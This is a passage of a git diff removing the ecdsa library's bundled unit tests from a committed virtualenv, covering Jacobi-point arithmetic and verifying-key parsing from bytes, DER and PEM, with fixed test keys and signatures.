max_value=int(curve_brainpoolp160r1.p() - 1)), - ) - @example(1, 1, 1) - @example(3, 3, 3) - @example(2, int(generator_brainpoolp160r1.order() - 2), 1) - @example(2, int(generator_brainpoolp160r1.order() - 2), 3) - def test_add_same_scale_points(self, a_mul, b_mul, new_z): - j_g = PointJacobi.from_affine(generator_brainpoolp160r1) - a = PointJacobi.from_affine(j_g * a_mul) - b = PointJacobi.from_affine(j_g * b_mul) - - p = curve_brainpoolp160r1.p() - - assume(inverse_mod(new_z, p)) - - new_zz = new_z * new_z % p - - a = PointJacobi( - curve_brainpoolp160r1, - a.x() * new_zz % p, - a.y() * new_zz * new_z % p, - new_z, - ) - b = PointJacobi( - curve_brainpoolp160r1, - b.x() * new_zz % p, - b.y() * new_zz * new_z % p, - new_z, - ) - - c = a + b - - self.assertEqual(c, j_g * (a_mul + b_mul)) - - def test_add_same_scale_points_static(self): - j_g = generator_brainpoolp160r1 - p = curve_brainpoolp160r1.p() - a = j_g * 11 - a.scale() - z1 = 13 - x = PointJacobi( - curve_brainpoolp160r1, - a.x() * z1**2 % p, - a.y() * z1**3 % p, - z1, - ) - y = PointJacobi( - curve_brainpoolp160r1, - a.x() * z1**2 % p, - a.y() * z1**3 % p, - z1, - ) - - c = a + a - - self.assertEqual(c, x + y) - - @pytest.mark.slow - @settings(**SLOW_SETTINGS) - @given( - st.integers( - min_value=1, max_value=int(generator_brainpoolp160r1.order() - 1) - ), - st.integers( - min_value=1, max_value=int(generator_brainpoolp160r1.order() - 1) - ), - st.lists( - st.integers( - min_value=1, max_value=int(curve_brainpoolp160r1.p() - 1) - ), - min_size=2, - max_size=2, - unique=True, - ), - ) - @example(2, 2, [2, 1]) - @example(2, 2, [2, 3]) - @example(2, int(generator_brainpoolp160r1.order() - 2), [2, 3]) - @example(2, int(generator_brainpoolp160r1.order() - 2), [2, 1]) - def test_add_different_scale_points(self, a_mul, b_mul, new_z): - j_g = PointJacobi.from_affine(generator_brainpoolp160r1) - a = PointJacobi.from_affine(j_g * a_mul) - b = PointJacobi.from_affine(j_g * b_mul) - - p = curve_brainpoolp160r1.p() - - assume(inverse_mod(new_z[0], p)) - assume(inverse_mod(new_z[1], p)) - - new_zz0 = new_z[0] * new_z[0] % p - new_zz1 = new_z[1] * new_z[1] % p - - a = PointJacobi( - curve_brainpoolp160r1, - a.x() * new_zz0 % p, - a.y() * new_zz0 * new_z[0] % p, - new_z[0], - ) - b = PointJacobi( - curve_brainpoolp160r1, - b.x() * new_zz1 % p, - b.y() * new_zz1 * new_z[1] % p, - new_z[1], - ) - - c = a + b - - self.assertEqual(c, j_g * (a_mul + b_mul)) - - def test_add_different_scale_points_static(self): - j_g = generator_brainpoolp160r1 - p = curve_brainpoolp160r1.p() - a = j_g * 11 - a.scale() - z1 = 13 - x = PointJacobi( - curve_brainpoolp160r1, - a.x() * z1**2 % p, - a.y() * z1**3 % p, - z1, - ) - z2 = 29 - y = PointJacobi( - curve_brainpoolp160r1, - a.x() * z2**2 % p, - a.y() * z2**3 % p, - z2, - ) - - c = a + a - - self.assertEqual(c, x + y) - - def test_add_different_points_same_scale_static(self): - j_g = generator_brainpoolp160r1 - p = curve_brainpoolp160r1.p() - a = j_g * 11 - a.scale() - b = j_g * 12 - z = 13 - x = PointJacobi( - curve_brainpoolp160r1, - a.x() * z**2 % p, - a.y() * z**3 % p, - z, - ) - y = PointJacobi( - curve_brainpoolp160r1, - b.x() * z**2 % p, - b.y() * z**3 % p, - z, - ) - - c = a + b - - self.assertEqual(c, x + y) - - def test_add_same_point_different_scale_second_z_1_static(self): - j_g = generator_112r2 - p = curve_112r2.p() - z = 11 - a = j_g * z - a.scale() - - x = PointJacobi( - curve_112r2, - a.x() * z**2 % p, - a.y() * z**3 % p, - z, - ) - y = PointJacobi( - curve_112r2, - a.x(), - a.y(), - 1, - ) - - c = a + a - - self.assertEqual(c, x + y) - - def test_add_to_infinity_static(self): - j_g = generator_112r2 - - z = 11 - a = j_g * z - a.scale() - - b = -a - - x = PointJacobi( - curve_112r2, - a.x(), - a.y(), - 1, - ) - y = PointJacobi( - curve_112r2, - b.x(), - b.y(), - 1, - ) - - self.assertEqual(INFINITY, x + y) - - def test_add_point_3_times(self): - j_g = PointJacobi.from_affine(generator_256) - - self.assertEqual(j_g * 3, j_g + j_g + j_g) - - def test_mul_without_order(self): - j_g = PointJacobi(curve_256, generator_256.x(), generator_256.y(), 1) - - self.assertEqual(j_g * generator_256.order(), INFINITY) - - def test_mul_add_inf(self): - j_g = PointJacobi.from_affine(generator_256) - - self.assertEqual(j_g, j_g.mul_add(1, INFINITY, 1)) - - def test_mul_add_same(self): - j_g = PointJacobi.from_affine(generator_256) - - self.assertEqual(j_g * 2, j_g.mul_add(1, j_g, 1)) - - def test_mul_add_precompute(self): - j_g = PointJacobi.from_affine(generator_brainpoolp160r1, True) - b = PointJacobi.from_affine(j_g * 255, True) - - self.assertEqual(j_g * 256, j_g + b) - self.assertEqual(j_g * (5 + 255 * 7), j_g * 5 + b * 7) - self.assertEqual(j_g * (5 + 255 * 7), j_g.mul_add(5, b, 7)) - - def test_mul_add_precompute_large(self): - j_g = PointJacobi.from_affine(generator_brainpoolp160r1, True) - b = PointJacobi.from_affine(j_g * 255, True) - - self.assertEqual(j_g * 256, j_g + b) - self.assertEqual( - j_g * (0xFF00 + 255 * 0xF0F0), j_g * 0xFF00 + b * 0xF0F0 - ) - self.assertEqual( - j_g * (0xFF00 + 255 * 0xF0F0), j_g.mul_add(0xFF00, b, 0xF0F0) - ) - - def test_mul_add_to_mul(self): - j_g = PointJacobi.from_affine(generator_256) - - a = j_g * 3 - b = j_g.mul_add(2, j_g, 1) - - self.assertEqual(a, b) - - def test_mul_add_differnt(self): - j_g = PointJacobi.from_affine(generator_256) - - w_a = j_g * 2 - - self.assertEqual(j_g.mul_add(1, w_a, 1), j_g * 3) - - def test_mul_add_slightly_different(self): - j_g = PointJacobi.from_affine(generator_256) - - w_a = j_g * 2 - w_b = j_g * 3 - - self.assertEqual(w_a.mul_add(1, w_b, 3), w_a * 1 + w_b * 3) - - def test_mul_add(self): - j_g = PointJacobi.from_affine(generator_256) - - w_a = generator_256 * 255 - w_b = generator_256 * (0xA8 * 0xF0) - j_b = j_g * 0xA8 - - ret = j_g.mul_add(255, j_b, 0xF0) - - self.assertEqual(ret.to_affine(), w_a + w_b) - - def test_mul_add_zero(self): - j_g = PointJacobi.from_affine(generator_256) - - w_a = generator_256 * 255 - w_b = generator_256 * (0 * 0xA8) - - j_b = j_g * 0xA8 - - ret = j_g.mul_add(255, j_b, 0) - - self.assertEqual(ret.to_affine(), w_a + w_b) - - def test_mul_add_large(self): - j_g = PointJacobi.from_affine(generator_256) - b = PointJacobi.from_affine(j_g * 255) - - self.assertEqual(j_g * 256, j_g + b) - self.assertEqual( - j_g * (0xFF00 + 255 * 0xF0F0), j_g * 0xFF00 + b * 0xF0F0 - ) - self.assertEqual( - j_g * (0xFF00 + 255 * 0xF0F0), j_g.mul_add(0xFF00, b, 0xF0F0) - ) - - def test_mul_add_with_infinity_as_result(self): - j_g = PointJacobi.from_affine(generator_256) - - order = generator_256.order() - - b = PointJacobi.from_affine(generator_256 * 256) - - self.assertEqual(j_g.mul_add(order % 256, b, order // 256), INFINITY) - - def test_mul_add_without_order(self): - j_g = PointJacobi(curve_256, generator_256.x(), generator_256.y(), 1) - - order = generator_256.order() - - w_b = generator_256 * 34 - w_b.scale() - - b = PointJacobi(curve_256, w_b.x(), w_b.y(), 1) - - self.assertEqual(j_g.mul_add(order % 34, b, order // 34), INFINITY) - - def test_mul_add_with_doubled_negation_of_itself(self): - j_g = PointJacobi.from_affine(generator_256 * 17) - - dbl_neg = 2 * (-j_g) - - self.assertEqual(j_g.mul_add(4, dbl_neg, 2), INFINITY) - - @given( - st.integers(min_value=0, max_value=int(generator_112r2.order() - 1)), - st.integers(min_value=0, max_value=int(generator_112r2.order() - 1)), - st.integers(min_value=0, max_value=int(generator_112r2.order() - 1)), - ) - @example(693, 2, 3293) # values that will hit all the conditions for NAF - def test_mul_add_random(self, mul1, mul2, mul3): - p_a = PointJacobi.from_affine(generator_112r2) - p_b = generator_112r2 * mul2 - - res = p_a.mul_add(mul1, p_b, mul3) - - self.assertEqual(res, p_a * mul1 + p_b * mul3) - - def test_equality(self): - pj1 = PointJacobi(curve=CurveFp(23, 1, 1, 1), x=2, y=3, z=1, order=1) - pj2 = PointJacobi(curve=CurveFp(23, 1, 1, 1), x=2, y=3, z=1, order=1) - self.assertEqual(pj1, pj2) - - def test_equality_with_invalid_object(self): - j_g = PointJacobi.from_affine(generator_256) - - self.assertNotEqual(j_g, 12) - - def test_equality_with_wrong_curves(self): - p_a = PointJacobi.from_affine(generator_256) - p_b = PointJacobi.from_affine(generator_224) - - self.assertNotEqual(p_a, p_b) - - def test_add_with_point_at_infinity(self): - pj1 = PointJacobi(curve=CurveFp(23, 1, 1, 1), x=2, y=3, z=1, order=1) - x, y, z = pj1._add(2, 3, 1, 5, 5, 0, 23) - - self.assertEqual((x, y, z), (2, 3, 1)) - - def test_double_to_infinity(self): - c_23 = CurveFp(23, 1, 1) - p = PointJacobi(c_23, 11, 20, 1) - p2 = p.double() - self.assertEqual((p2.x(), p2.y()), (4, 0)) - self.assertNotEqual(p2, INFINITY) - p3 = p2.double() - self.assertEqual(p3, INFINITY) - self.assertIs(p3, INFINITY) - - def test_double_to_x_0(self): - c_23_2 = CurveFp(23, 1, 2) - p = PointJacobi(c_23_2, 9, 2, 1) - p2 = p.double() - - self.assertEqual((p2.x(), p2.y()), (0, 18)) - - def test_mul_to_infinity(self): - c_23 = CurveFp(23, 1, 1) - p = PointJacobi(c_23, 11, 20, 1) - p2 = p * 2 - self.assertEqual((p2.x(), p2.y()), (4, 0)) - self.assertNotEqual(p2, INFINITY) - p3 = p2 * 2 - self.assertEqual(p3, INFINITY) - self.assertIs(p3, INFINITY) - - def test_add_to_infinity(self): - c_23 = CurveFp(23, 1, 1) - p = PointJacobi(c_23, 11, 20, 1) - p2 = p + p - self.assertEqual((p2.x(), p2.y()), (4, 0)) - self.assertNotEqual(p2, INFINITY) - p3 = p2 + p2 - self.assertEqual(p3, INFINITY) - self.assertIs(p3, INFINITY) - - def test_mul_to_x_0(self): - c_23 = CurveFp(23, 1, 1) - p = PointJacobi(c_23, 9, 7, 1) - - p2 = p * 13 - self.assertEqual((p2.x(), p2.y()), (0, 22)) - - def test_mul_to_y_0(self): - c_23 = CurveFp(23, 1, 1) - p = PointJacobi(c_23, 9, 7, 1) - - p2 = p * 14 - self.assertEqual((p2.x(), p2.y()), (4, 0)) - - def test_add_to_x_0(self): - c_23 = CurveFp(23, 1, 1) - p = PointJacobi(c_23, 9, 7, 1) - - p2 = p * 12 + p - self.assertEqual((p2.x(), p2.y()), (0, 22)) - - def test_add_to_y_0(self): - c_23 = CurveFp(23, 1, 1) - p = PointJacobi(c_23, 9, 7, 1) - - p2 = p * 13 + p - self.assertEqual((p2.x(), p2.y()), (4, 0)) - - def test_add_diff_z_to_infinity(self): - c_23 = CurveFp(23, 1, 1) - p = PointJacobi(c_23, 9, 7, 1) - - c = p * 20 + p * 8 - self.assertIs(c, INFINITY) - - def test_pickle(self): - pj = PointJacobi(curve=CurveFp(23, 1, 1, 1), x=2, y=3, z=1, order=1) - self.assertEqual(pickle.loads(pickle.dumps(pj)), pj) - - @pytest.mark.slow - @settings(**NO_OLD_SETTINGS) - @pytest.mark.skipif( - platform.python_implementation() == "PyPy", - reason="threading on PyPy breaks coverage", - ) - @given(st.integers(min_value=1, max_value=10)) - def test_multithreading(self, thread_num): # pragma: no cover - # ensure that generator's precomputation table is filled - generator_112r2 * 2 - - # create a fresh point that doesn't have a filled precomputation table - gen = generator_112r2 - gen = PointJacobi(gen.curve(), gen.x(), gen.y(), 1, gen.order(), True) - - self.assertEqual(gen._PointJacobi__precompute, []) - - def runner(generator): - order = generator.order() - for _ in range(10): - generator * randrange(order) - - threads = [] - for _ in range(thread_num): - threads.append(threading.Thread(target=runner, args=(gen,))) - - for t in threads: - t.start() - - runner(gen) - - for t in threads: - t.join() - - self.assertEqual( - gen._PointJacobi__precompute, - generator_112r2._PointJacobi__precompute, - ) - - @pytest.mark.slow - @pytest.mark.skipif( - platform.system() == "Windows" - or platform.python_implementation() == "PyPy", - reason="there are no signals on Windows, and threading breaks coverage" - " on PyPy", - ) - def test_multithreading_with_interrupts(self): # pragma: no cover - thread_num = 10 - # ensure that generator's precomputation table is filled - generator_112r2 * 2 - - # create a fresh point that doesn't have a filled precomputation table - gen = generator_112r2 - gen = PointJacobi(gen.curve(), gen.x(), gen.y(), 1, gen.order(), True) - - self.assertEqual(gen._PointJacobi__precompute, []) - - def runner(generator): - order = generator.order() - for _ in range(50): - generator * randrange(order) - - def interrupter(barrier_start, barrier_end, lock_exit): - # wait until MainThread can handle KeyboardInterrupt - barrier_start.release() - barrier_end.acquire() - os.kill(os.getpid(), signal.SIGINT) - lock_exit.release() - - threads = [] - for _ in range(thread_num): - threads.append(threading.Thread(target=runner, args=(gen,))) - - barrier_start = threading.Lock() - barrier_start.acquire() - barrier_end = threading.Lock() - barrier_end.acquire() - lock_exit = threading.Lock() - lock_exit.acquire() - - threads.append( - threading.Thread( - target=interrupter, - args=(barrier_start, barrier_end, lock_exit), - ) - ) - - for t in threads: - t.start() - - with self.assertRaises(KeyboardInterrupt): - # signal to interrupter that we can now handle the signal - barrier_start.acquire() - barrier_end.release() - runner(gen) - # use the lock to ensure we never go past the scope of - # assertRaises before the os.kill is called - lock_exit.acquire() - - for t in threads: - t.join() - - self.assertEqual( - gen._PointJacobi__precompute, - generator_112r2._PointJacobi__precompute, - ) - - -class TestZeroCurve(unittest.TestCase): - """Tests with curve that has (0, 0) on the curve.""" - - def setUp(self): - self.curve = CurveFp(23, 1, 0) - - def test_zero_point_on_curve(self): - self.assertTrue(self.curve.contains_point(0, 0)) - - def test_double_to_0_0_point(self): - p = PointJacobi(self.curve, 1, 18, 1) - - d = p.double() - - self.assertNotEqual(d, INFINITY) - self.assertEqual((0, 0), (d.x(), d.y())) - - def test_double_to_0_0_point_with_non_one_z(self): - z = 2 - p = PointJacobi(self.curve, 1 * z**2, 18 * z**3, z) - - d = p.double() - - self.assertNotEqual(d, INFINITY) - self.assertEqual((0, 0), (d.x(), d.y())) - - def test_mul_to_0_0_point(self): - p = PointJacobi(self.curve, 11, 13, 1) - - d = p * 12 - - self.assertNotEqual(d, INFINITY) - self.assertEqual((0, 0), (d.x(), d.y())) - - def test_double_of_0_0_point(self): - p = PointJacobi(self.curve, 0, 0, 1) - - d = p.double() - - self.assertIs(d, INFINITY) - - def test_compare_to_old_implementation(self): - p = PointJacobi(self.curve, 11, 13, 1) - p_c = Point(self.curve, 11, 13) - - for i in range(24): - self.assertEqual(p * i, p_c * i) diff --git a/venv/Lib/site-packages/ecdsa/test_keys.py b/venv/Lib/site-packages/ecdsa/test_keys.py deleted file mode 100644 index 348475e2a7e12df31aab2a4ae1a649e26bfb4735..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_keys.py +++ /dev/null @@ -1,1138 +0,0 @@ -try: - import unittest2 as unittest -except ImportError: - import unittest - -try: - buffer -except NameError: - buffer = memoryview - -import os -import array -import pytest -import hashlib - -from .keys import ( - VerifyingKey, - SigningKey, - MalformedPointError, - BadSignatureError, -) -from .der import ( - unpem, - UnexpectedDER, - encode_sequence, - encode_oid, - encode_bitstring, - encode_integer, - encode_octet_string, -) -from .util import ( - sigencode_string, - sigencode_der, - sigencode_strings, - sigdecode_string, - sigdecode_der, - sigdecode_strings, -) -from .curves import NIST256p, Curve, BRAINPOOLP160r1, Ed25519, Ed448 -from .ellipticcurve import Point, PointJacobi, CurveFp, INFINITY -from .ecdsa import generator_brainpoolp160r1 - - -class TestVerifyingKeyFromString(unittest.TestCase): - """ - Verify that ecdsa.keys.VerifyingKey.from_string() can be used with - bytes-like objects - """ - - @classmethod - def setUpClass(cls): - cls.key_bytes = ( - b"\x04L\xa2\x95\xdb\xc7Z\xd7\x1f\x93\nz\xcf\x97\xcf" - b"\xd7\xc2\xd9o\xfe8}X!\xae\xd4\xfah\xfa^\rpI\xba\xd1" - b"Y\xfb\x92xa\xebo+\x9cG\xfav\xca" - ) - cls.vk = VerifyingKey.from_string(cls.key_bytes) - - def test_bytes(self): - self.assertIsNotNone(self.vk) - self.assertIsInstance(self.vk, VerifyingKey) - self.assertEqual( - self.vk.pubkey.point.x(), - 105419898848891948935835657980914000059957975659675736097, - ) - self.assertEqual( - self.vk.pubkey.point.y(), - 4286866841217412202667522375431381222214611213481632495306, - ) - - def test_bytes_memoryview(self): - vk = VerifyingKey.from_string(buffer(self.key_bytes)) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_bytearray(self): - vk = VerifyingKey.from_string(bytearray(self.key_bytes)) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_bytesarray_memoryview(self): - vk = VerifyingKey.from_string(buffer(bytearray(self.key_bytes))) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_array_array_of_bytes(self): - arr = array.array("B", self.key_bytes) - vk = VerifyingKey.from_string(arr) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_array_array_of_bytes_memoryview(self): - arr = array.array("B", self.key_bytes) - vk = VerifyingKey.from_string(buffer(arr)) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_array_array_of_ints(self): - arr = array.array("I", self.key_bytes) - vk = VerifyingKey.from_string(arr) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_array_array_of_ints_memoryview(self): - arr = array.array("I", self.key_bytes) - vk = VerifyingKey.from_string(buffer(arr)) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_bytes_uncompressed(self): - vk = VerifyingKey.from_string(b"\x04" + self.key_bytes) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_bytearray_uncompressed(self): - vk = VerifyingKey.from_string(bytearray(b"\x04" + self.key_bytes)) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_bytes_compressed(self): - vk = VerifyingKey.from_string(b"\x02" + self.key_bytes[:24]) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_bytearray_compressed(self): - vk = VerifyingKey.from_string(bytearray(b"\x02" + self.key_bytes[:24])) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_ed25519_VerifyingKey_from_string_imported(self): - with self.assertRaises(MalformedPointError): - VerifyingKey.from_string(b"AAA", Ed25519) - - -class TestVerifyingKeyFromDer(unittest.TestCase): - """ - Verify that ecdsa.keys.VerifyingKey.from_der() can be used with - bytes-like objects. - """ - - @classmethod - def setUpClass(cls): - prv_key_str = ( - "-----BEGIN EC PRIVATE KEY-----\n" - "MF8CAQEEGF7IQgvW75JSqULpiQQ8op9WH6Uldw6xxaAKBggqhkjOPQMBAaE0AzIA\n" - "BLiBd9CE7xf15FY5QIAoNg+fWbSk1yZOYtoGUdzkejWkxbRc9RWTQjqLVXucIJnz\n" - "bA==\n" - "-----END EC PRIVATE KEY-----\n" - ) - key_str = ( - "-----BEGIN PUBLIC KEY-----\n" - "MEkwEwYHKoZIzj0CAQYIKoZIzj0DAQEDMgAEuIF30ITvF/XkVjlAgCg2D59ZtKTX\n" - "Jk5i2gZR3OR6NaTFtFz1FZNCOotVe5wgmfNs\n" - "-----END PUBLIC KEY-----\n" - ) - cls.key_pem = key_str - - cls.key_bytes = unpem(key_str) - assert isinstance(cls.key_bytes, bytes) - cls.vk = VerifyingKey.from_pem(key_str) - cls.sk = SigningKey.from_pem(prv_key_str) - - key_str = ( - "-----BEGIN PUBLIC KEY-----\n" - "MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE4H3iRbG4TSrsSRb/gusPQB/4YcN8\n" - "Poqzgjau4kfxBPyZimeRfuY/9g/wMmPuhGl4BUve51DsnKJFRr8psk0ieA==\n" - "-----END PUBLIC KEY-----\n" - ) - cls.vk2 = VerifyingKey.from_pem(key_str) - - cls.sk2 = SigningKey.generate(vk.curve) - - def test_load_key_with_explicit_parameters(self): - pub_key_str = ( - "-----BEGIN PUBLIC KEY-----\n" - "MIIBSzCCAQMGByqGSM49AgEwgfcCAQEwLAYHKoZIzj0BAQIhAP////8AAAABAAAA\n" - "AAAAAAAAAAAA////////////////MFsEIP////8AAAABAAAAAAAAAAAAAAAA////\n" - "///////////8BCBaxjXYqjqT57PrvVV2mIa8ZR0GsMxTsPY7zjw+J9JgSwMVAMSd\n" - "NgiG5wSTamZ44ROdJreBn36QBEEEaxfR8uEsQkf4vOblY6RA8ncDfYEt6zOg9KE5\n" - "RdiYwpZP40Li/hp/m47n60p8D54WK84zV2sxXs7LtkBoN79R9QIhAP////8AAAAA\n" - "//////////+85vqtpxeehPO5ysL8YyVRAgEBA0IABIr1UkgYs5jmbFc7it1/YI2X\n" - "T//IlaEjMNZft1owjqpBYH2ErJHk4U5Pp4WvWq1xmHwIZlsH7Ig4KmefCfR6SmU=\n" - "-----END PUBLIC KEY-----" - ) - pk = VerifyingKey.from_pem(pub_key_str) - - pk_exp = VerifyingKey.from_string( - b"\x04\x8a\xf5\x52\x48\x18\xb3\x98\xe6\x6c\x57\x3b\x8a\xdd\x7f" - b"\x60\x8d\x97\x4f\xff\xc8\x95\xa1\x23\x30\xd6\x5f\xb7\x5a\x30" - b"\x8e\xaa\x41\x60\x7d\x84\xac\x91\xe4\xe1\x4e\x4f\xa7\x85\xaf" - b"\x5a\xad\x71\x98\x7c\x08\x66\x5b\x07\xec\x88\x38\x2a\x67\x9f" - b"\x09\xf4\x7a\x4a\x65", - curve=NIST256p, - ) - self.assertEqual(pk, pk_exp) - - def test_load_key_with_explicit_with_explicit_disabled(self): - pub_key_str = ( - "-----BEGIN PUBLIC KEY-----\n" - "MIIBSzCCAQMGByqGSM49AgEwgfcCAQEwLAYHKoZIzj0BAQIhAP////8AAAABAAAA\n" - "AAAAAAAAAAAA////////////////MFsEIP////8AAAABAAAAAAAAAAAAAAAA////\n" - "///////////8BCBaxjXYqjqT57PrvVV2mIa8ZR0GsMxTsPY7zjw+J9JgSwMVAMSd\n" - "NgiG5wSTamZ44ROdJreBn36QBEEEaxfR8uEsQkf4vOblY6RA8ncDfYEt6zOg9KE5\n" - "RdiYwpZP40Li/hp/m47n60p8D54WK84zV2sxXs7LtkBoN79R9QIhAP////8AAAAA\n" - "//////////+85vqtpxeehPO5ysL8YyVRAgEBA0IABIr1UkgYs5jmbFc7it1/YI2X\n" - "T//IlaEjMNZft1owjqpBYH2ErJHk4U5Pp4WvWq1xmHwIZlsH7Ig4KmefCfR6SmU=\n" - "-----END PUBLIC KEY-----" - ) - with self.assertRaises(UnexpectedDER): - VerifyingKey.from_pem( - pub_key_str, valid_curve_encodings=["named_curve"] - ) - - def test_load_key_with_disabled_format(self): - with self.assertRaises(MalformedPointError) as e: - VerifyingKey.from_der(self.key_bytes, valid_encodings=["raw"]) - - self.assertIn("enabled (raw) encodings", str(e.exception)) - - def test_custom_hashfunc(self): - vk = VerifyingKey.from_der(self.key_bytes, hashlib.sha256) - - self.assertIs(vk.default_hashfunc, hashlib.sha256) - - def test_from_pem_with_custom_hashfunc(self): - vk = VerifyingKey.from_pem(self.key_pem, hashlib.sha256) - - self.assertIs(vk.default_hashfunc, hashlib.sha256) - - def test_bytes(self): - vk = VerifyingKey.from_der(self.key_bytes) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_bytes_memoryview(self): - vk = VerifyingKey.from_der(buffer(self.key_bytes)) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_bytearray(self): - vk = VerifyingKey.from_der(bytearray(self.key_bytes)) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_bytesarray_memoryview(self): - vk = VerifyingKey.from_der(buffer(bytearray(self.key_bytes))) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_array_array_of_bytes(self): - arr = array.array("B", self.key_bytes) - vk = VerifyingKey.from_der(arr) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_array_array_of_bytes_memoryview(self): - arr = array.array("B", self.key_bytes) - vk = VerifyingKey.from_der(buffer(arr)) - - self.assertEqual(self.vk.to_string(), vk.to_string()) - - def test_equality_on_verifying_keys(self): - self.assertTrue(self.vk == self.sk.get_verifying_key()) - - def test_inequality_on_verifying_keys(self): - self.assertFalse(self.vk == self.vk2) - - def test_inequality_on_verifying_keys_not_implemented(self): - self.assertFalse(self.vk == None) - - def test_VerifyingKey_inequality_on_same_curve(self): - self.assertNotEqual(self.vk, self.sk2.verifying_key) - - def test_SigningKey_inequality_on_same_curve(self): - self.assertNotEqual(self.sk, self.sk2) - - def test_inequality_on_wrong_types(self): - self.assertFalse(self.vk == self.sk) - - def test_from_public_point_old(self): - pj = self.vk.pubkey.point - point = Point(pj.curve(), pj.x(), pj.y()) - - vk = VerifyingKey.from_public_point(point, self.vk.curve) - - self.assertTrue(vk == self.vk) - - def test_ed25519_VerifyingKey_repr__(self): - sk = SigningKey.from_string(Ed25519.generator.to_bytes(), Ed25519) - string = repr(sk.verifying_key) - - self.assertEqual( - "VerifyingKey.from_string(" - "bytearray(b'K\\x0c\\xfbZH\\x8e\\x8c\\x8c\\x07\\xee\\xda\\xfb" - "\\xe1\\x97\\xcd\\x90\\x18\\x02\\x15h]\\xfe\\xbe\\xcbB\\xba\\xe6r" - "\\x10\\xae\\xf1P'), Ed25519, None)", - string, - ) - - def test_edwards_from_public_point(self): - point = Ed25519.generator - with self.assertRaises(ValueError) as e: - VerifyingKey.from_public_point(point, Ed25519) - - self.assertIn("incompatible with Edwards", str(e.exception)) - - def test_edwards_precompute_no_side_effect(self): - sk = SigningKey.from_string(Ed25519.generator.to_bytes(), Ed25519) - vk = sk.verifying_key - vk2 = VerifyingKey.from_string(vk.to_string(), Ed25519) - vk.precompute() - - self.assertEqual(vk, vk2) - - def test_parse_malfomed_eddsa_der_pubkey(self): - der_str = encode_sequence( - encode_sequence(encode_oid(*Ed25519.oid)), - encode_bitstring(bytes(Ed25519.generator.to_bytes()), 0), - encode_bitstring(b"\x00", 0), - ) - - with self.assertRaises(UnexpectedDER) as e: - VerifyingKey.from_der(der_str) - - self.assertIn("trailing junk after public key", str(e.exception)) - - def test_edwards_from_public_key_recovery(self): - with self.assertRaises(ValueError) as e: - VerifyingKey.from_public_key_recovery(b"", b"", Ed25519) - - self.assertIn("unsupported for Edwards", str(e.exception)) - - def test_edwards_from_public_key_recovery_with_digest(self): - with self.assertRaises(ValueError) as e: - VerifyingKey.from_public_key_recovery_with_digest( - b"", b"", Ed25519 - ) - - self.assertIn("unsupported for Edwards", str(e.exception)) - - def test_load_ed25519_from_pem(self): - vk_pem = ( - "-----BEGIN PUBLIC KEY-----\n" - "MCowBQYDK2VwAyEAIwBQ0NZkIiiO41WJfm5BV42u3kQm7lYnvIXmCy8qy2U=\n" - "-----END PUBLIC KEY-----\n" - ) - - vk = VerifyingKey.from_pem(vk_pem) - - self.assertIsInstance(vk.curve, Curve) - self.assertIs(vk.curve, Ed25519) - - vk_str = ( - b"\x23\x00\x50\xd0\xd6\x64\x22\x28\x8e\xe3\x55\x89\x7e\x6e\x41\x57" - b"\x8d\xae\xde\x44\x26\xee\x56\x27\xbc\x85\xe6\x0b\x2f\x2a\xcb\x65" - ) - - vk_2 = VerifyingKey.from_string(vk_str, Ed25519) - - self.assertEqual(vk, vk_2) - - def test_export_ed255_to_pem(self): - vk_str = ( - b"\x23\x00\x50\xd0\xd6\x64\x22\x28\x8e\xe3\x55\x89\x7e\x6e\x41\x57" - b"\x8d\xae\xde\x44\x26\xee\x56\x27\xbc\x85\xe6\x0b\x2f\x2a\xcb\x65" - ) - - vk = VerifyingKey.from_string(vk_str, Ed25519) - - vk_pem = ( - b"-----BEGIN PUBLIC KEY-----\n" - b"MCowBQYDK2VwAyEAIwBQ0NZkIiiO41WJfm5BV42u3kQm7lYnvIXmCy8qy2U=\n" - b"-----END PUBLIC KEY-----\n" - ) - - self.assertEqual(vk_pem, vk.to_pem()) - - def test_export_ed255_to_ssh(self): - vk_str = ( - b"\x23\x00\x50\xd0\xd6\x64\x22\x28\x8e\xe3\x55\x89\x7e\x6e\x41\x57" - b"\x8d\xae\xde\x44\x26\xee\x56\x27\xbc\x85\xe6\x0b\x2f\x2a\xcb\x65" - ) - - vk = VerifyingKey.from_string(vk_str, Ed25519) - - vk_ssh = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICMAUNDWZCIojuNViX5uQVeNrt5EJu5WJ7yF5gsvKstl\n" - - self.assertEqual(vk_ssh, vk.to_ssh()) - - def test_ed25519_export_import(self): - sk = SigningKey.generate(Ed25519) - vk = sk.verifying_key - - vk2 = VerifyingKey.from_pem(vk.to_pem()) - - self.assertEqual(vk, vk2) - - def test_ed25519_sig_verify(self): - vk_pem = ( - "-----BEGIN PUBLIC KEY-----\n" - "MCowBQYDK2VwAyEAIwBQ0NZkIiiO41WJfm5BV42u3kQm7lYnvIXmCy8qy2U=\n" - "-----END PUBLIC KEY-----\n" - ) - - vk = VerifyingKey.from_pem(vk_pem) - - data = b"data\n" - - # signature created by OpenSSL 3.0.0 beta1 - sig = ( - b"\x64\x47\xab\x6a\x33\xcd\x79\x45\xad\x98\x11\x6c\xb9\xf2\x20\xeb" - b"\x90\xd6\x50\xe3\xc7\x8f\x9f\x60\x10\xec\x75\xe0\x2f\x27\xd3\x96" - b"\xda\xe8\x58\x7f\xe0\xfe\x46\x5c\x81\xef\x50\xec\x29\x9f\xae\xd5" - 